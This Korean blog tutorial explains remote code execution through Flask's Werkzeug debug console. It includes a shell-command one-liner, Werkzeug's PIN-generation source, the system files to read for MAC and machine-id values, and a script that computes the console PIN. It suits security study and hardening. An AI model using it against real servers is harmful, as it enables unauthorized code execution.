Post

Flask debug mode exploit (RCE)

Console RCE



Flask 사용 시 app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)에서 debug가 True이면 오류가 발생했을 때, 웹페이지에 디버깅 과정을 출력해준다.

또한 /console 페이지에 접속을 하면 파이썬 인터프리터를 사용할 수 있어서 RCE 취약점이 발생한다.
__import__('os').popen('ls').read()


하지만 이를 방지하기 위해 PIN 암호를 설정할 수 있고, PIN 값은 디버거에 출력된다.

따라서 공격자는 RCE를 하기 위해선 PIN 번호를 알아내야 한다.






Werkzeug Console PIN Exploit



PIN 번호를 생성하는 알고리즘은 __init__.py에 있다.

Python 3.8 기준으로 /usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py에 있다.

코드는 github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/init.py에서 볼 수 있다.

PIN 생성 알고리즘 부분만 보면 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.
    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name


코드를 보면 핀을 생성하기 위해선 두 개의 변수가 필요한데, 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]


  • username은 Flask를 실행하는 user

  • modnameflask.app으로 고정

  • getattr(app, '__name__', getattr (app .__ class__, '__name__'))Flask로 고정

  • getattr(mod, '__file__', None)flask 디렉토리 경로에 있는 app.py의 절대경로
    • Python 3.8 기준 /usr/local/lib/python3.8/site-packages/flask/app.py
  • uuid.getnode()은 flask를 실행하는 PC의 MAC주소를 정수로 나타낸 값
    • MAC주소를 알아내기 위해선 flask를 실행하기 위해 사용중인 network interface (e.g eth0)을 알아야 한다.
      • 만약 모르면 /proc/net/arp에서 사용중인 network interface를 확인할 수 있다.
    • network interface 값을 안다면, /sys/class/net/<network interface>/address에서 MAC주소 확인 후 정수로 변환
  • get_machine_id() 값은 아래의 코드의 리턴 값 (_machine_id)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
_machine_id = None
 
 
def get_machine_id():
    global _machine_id
 
    if _machine_id is not None:
        return _machine_id
 
    def _generate():
        linux = b""
 
        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except IOError:
                continue
 
            if value:
                linux += value
                break
 
        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except IOError:
            pass
 
        if linux:
            return linux
 
 
    _machine_id = _generate()
    return _machine_id


_machine_id 값은 운영체제 별로 조건문을 해서 구하게 해놨으며, 위에는 리눅스 부분만 코드를 가져왔다.

근데 이 _machine_id 값을 구하는 알고리즘이 버전마다 다르기 때문에 반드시 확인한 뒤 구해야 한다.


이제 PIN을 만드는 알고리즘을 알았으므로 위의 코드를 그대로 가져와서 PIN 값을 만드는데 필요한 변수 2개(probably_public_bits, private_bits)에 대해서만 값을 채워주면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
from itertools import chain

probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    'str(uuid.getnode())', #  /sys/class/net/<network interface>/address
    'get_machine_id() 값' # get_machine_id()
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)






출처



Link
book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug
lactea.kr/entry/python-flask-debugger-pin-find-and-exploit






This post is licensed under CC BY 4.0 by the author.